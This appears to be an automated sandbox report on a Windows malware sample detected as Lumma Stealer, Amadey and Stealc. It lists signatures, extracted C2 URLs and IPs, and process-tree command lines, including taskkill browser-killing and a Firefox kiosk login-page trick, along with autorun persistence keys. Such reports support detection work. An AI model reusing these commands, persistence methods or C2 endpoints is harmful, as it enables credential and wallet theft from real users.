Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546538
MD5:	da2ea6b51a3216e065b2ced231c9e57f
SHA1:	ee7ea72bd395654cb1126d9445a130b9bcbc21f0
SHA256:	55a539c066dcca8b451445a6bc712fed79b4984297e86e629fbb74e50256fa8e
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5440 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DA2EA6B51A3216E065B2CED231C9E57F)

GXK4CGNQC97BZAH5XF5VF7CI8.exe (PID: 2284 cmdline: "C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe" MD5: 19EC3B43009D50CF26E7BF585E169042)

skotes.exe (PID: 1396 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 19EC3B43009D50CF26E7BF585E169042)

skotes.exe (PID: 6656 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 19EC3B43009D50CF26E7BF585E169042)

275cb7a9a2.exe (PID: 2696 cmdline: "C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe" MD5: DA2EA6B51A3216E065B2CED231C9E57F)

IM4G4OFDR8U7L3FGHM3.exe (PID: 1784 cmdline: "C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe" MD5: 481C8B24C57DA4A1A61F3BA321F84C5C)

PP98OPFFP28IWX5W.exe (PID: 4820 cmdline: "C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe" MD5: 19EC3B43009D50CF26E7BF585E169042)

544ed086e5.exe (PID: 4820 cmdline: "C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe" MD5: 212E008D0B8A1D4874846987F37E34FA)

c86e5fe17c.exe (PID: 6056 cmdline: "C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe" MD5: E79F27AB2A69921BB110A37574D7B139)

taskkill.exe (PID: 2848 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4748 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2684 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1656 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6980 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1996 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 5064 cmdline: "C:\Users\user\AppData\Local\Temp\1003088001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

275cb7a9a2.exe (PID: 7080 cmdline: "C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe" MD5: DA2EA6B51A3216E065B2CED231C9E57F)

8Z32J2RQ40P4PPMYF6S72.exe (PID: 6764 cmdline: "C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe" MD5: 481C8B24C57DA4A1A61F3BA321F84C5C)

AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe (PID: 8072 cmdline: "C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe" MD5: 19EC3B43009D50CF26E7BF585E169042)

firefox.exe (PID: 4696 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4724 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4996 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2176 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2104 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b307a6ad-5f41-4ff3-b9e1-80e7264b3011} 4724 "\\.\pipe\gecko-crash-server-pipe.4724" 16d5446f110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2676 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4316 -parentBuildID 20230927232528 -prefsHandle 1204 -prefMapHandle 4052 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d9bcfe38-4f3d-480f-9d5a-656077f94da9} 4724 "\\.\pipe\gecko-crash-server-pipe.4724" 16d66a90910 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

544ed086e5.exe (PID: 5644 cmdline: "C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe" MD5: 212E008D0B8A1D4874846987F37E34FA)

c86e5fe17c.exe (PID: 7108 cmdline: "C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe" MD5: E79F27AB2A69921BB110A37574D7B139)

taskkill.exe (PID: 5004 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7372 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7444 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7500 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7568 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7632 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7648 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7832 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2140 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {41e6ee11-7385-4f6c-8723-fbdfc1e2a684} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 18eb2f6eb10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2408 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4532 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4492 -prefMapHandle 4580 -prefsLen 32851 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {70b5ba1d-88f3-4038-92db-42baf84e225b} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 18ec52bd710 utility MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 7292 cmdline: "C:\Users\user\AppData\Local\Temp\1003088001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

275cb7a9a2.exe (PID: 368 cmdline: "C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe" MD5: DA2EA6B51A3216E065B2CED231C9E57F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["thumbystriw.store", "necklacedmny.store", "founpiuer.store", "scriptyprefej.store", "fadehairucw.store", "crisiwarny.store", "presticitpo.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1003088001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000003.3071306474.000000000148E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000000.3034034011.0000000000591000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.2927820038.0000000000851000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.3142726544.000000000067B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000002.3233594668.00000000005AE000.00000002.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.3066643541.000000000148E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.3054565690.0000000001437000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000002.3148902384.0000000000201000.00000040.00000001.01000000.0000001A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2072623713.00000000009D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2126921125.00000000009D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.3192846829.00000000005AE000.00000002.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2126880950.00000000009D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2929579562.000000000157E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.3044619140.0000000001436000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.3069882872.000000000148E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.3079505332.0000000001496000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.3044619140.000000000148E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3018106480.0000000001556000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000018.00000003.3008637392.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2351129881.0000000000D71000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.3233418469.0000000000591000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2073666772.00000000009D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.3192748086.0000000000591000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.3054565690.000000000148E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.3194553022.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000000.3034813943.00000000005AE000.00000002.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.3018037056.000000000154F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000009.00000003.3058058519.0000000001437000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2887362261.0000000005230000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.3143857463.0000000000851000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2653688875.0000000005550000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2074587250.00000000009D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.2310067297.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2088397986.00000000009D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000000.3166108552.0000000000591000.00000080.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000002.3235463576.0000000000B37000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000000.3166180848.00000000005AE000.00000002.00000001.01000000.00000014.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.2318149161.0000000000D51000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.3058058519.000000000148E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.3073591620.000000000148E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.3104642103.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2101970678.00000000009D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2276220371.0000000005390000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 5440	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 5440	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5440	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 275cb7a9a2.exe PID: 2696	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 275cb7a9a2.exe PID: 2696	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 544ed086e5.exe PID: 4820	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 544ed086e5.exe PID: 4820	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 275cb7a9a2.exe PID: 7080	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 275cb7a9a2.exe PID: 7080	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: c86e5fe17c.exe PID: 6056	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 49 entries

Unpacked PEs

Source	Rule	Description	Author
4.2.skotes.exe.d70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.GXK4CGNQC97BZAH5XF5VF7CI8.exe.d50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.0.num.exe.590000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
8.2.544ed086e5.exe.850000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
28.2.num.exe.590000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
34.0.num.exe.590000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
34.2.num.exe.590000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
24.2.544ed086e5.exe.850000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
31.2.PP98OPFFP28IWX5W.exe.200000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6656, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\275cb7a9a2.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6656, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\275cb7a9a2.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:19.614009+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.5	49714	TCP
2024-11-01T05:01:48.048274+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.5	59709	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T05:01:02.025424+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	188.114.96.3	443	TCP
2024-11-01T05:01:03.232985+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	188.114.96.3	443	TCP
2024-11-01T05:01:05.333249+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	188.114.96.3	443	TCP
2024-11-01T05:01:06.586460+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	188.114.96.3	443	TCP
2024-11-01T05:01:08.399353+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	188.114.96.3	443	TCP
2024-11-01T05:01:11.282674+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	188.114.96.3	443	TCP
2024-11-01T05:01:13.064453+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	188.114.96.3	443	TCP
2024-11-01T05:01:16.046173+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	188.114.96.3	443	TCP
2024-11-01T05:02:18.255497+0100	2028371	3	Unknown Traffic	192.168.2.5	59844	188.114.96.3	443	TCP
2024-11-01T05:02:19.555064+0100	2028371	3	Unknown Traffic	192.168.2.5	59846	188.114.96.3	443	TCP
2024-11-01T05:02:21.140608+0100	2028371	3	Unknown Traffic	192.168.2.5	59847	188.114.96.3	443	TCP
2024-11-01T05:02:22.614101+0100	2028371	3	Unknown Traffic	192.168.2.5	59848	188.114.96.3	443	TCP
2024-11-01T05:02:23.979268+0100	2028371	3	Unknown Traffic	192.168.2.5	59849	188.114.96.3	443	TCP
2024-11-01T05:02:26.433927+0100	2028371	3	Unknown Traffic	192.168.2.5	59850	188.114.96.3	443	TCP
2024-11-01T05:02:28.067719+0100	2028371	3	Unknown Traffic	192.168.2.5	59853	188.114.96.3	443	TCP
2024-11-01T05:02:30.342203+0100	2028371	3	Unknown Traffic	192.168.2.5	59855	188.114.96.3	443	TCP
2024-11-01T05:02:31.756637+0100	2028371	3	Unknown Traffic	192.168.2.5	59857	188.114.96.3	443	TCP
2024-11-01T05:02:33.241704+0100	2028371	3	Unknown Traffic	192.168.2.5	59858	188.114.96.3	443	TCP
2024-11-01T05:02:34.891670+0100	2028371	3	Unknown Traffic	192.168.2.5	59860	188.114.96.3	443	TCP
2024-11-01T05:02:36.951522+0100	2028371	3	Unknown Traffic	192.168.2.5	59864	188.114.96.3	443	TCP
2024-11-01T05:02:39.939150+0100	2028371	3	Unknown Traffic	192.168.2.5	59869	188.114.96.3	443	TCP
2024-11-01T05:02:47.120032+0100	2028371	3	Unknown Traffic	192.168.2.5	59883	188.114.96.3	443	TCP
2024-11-01T05:02:49.177739+0100	2028371	3	Unknown Traffic	192.168.2.5	59885	188.114.96.3	443	TCP
2024-11-01T05:02:52.723819+0100	2028371	3	Unknown Traffic	192.168.2.5	59887	188.114.96.3	443	TCP
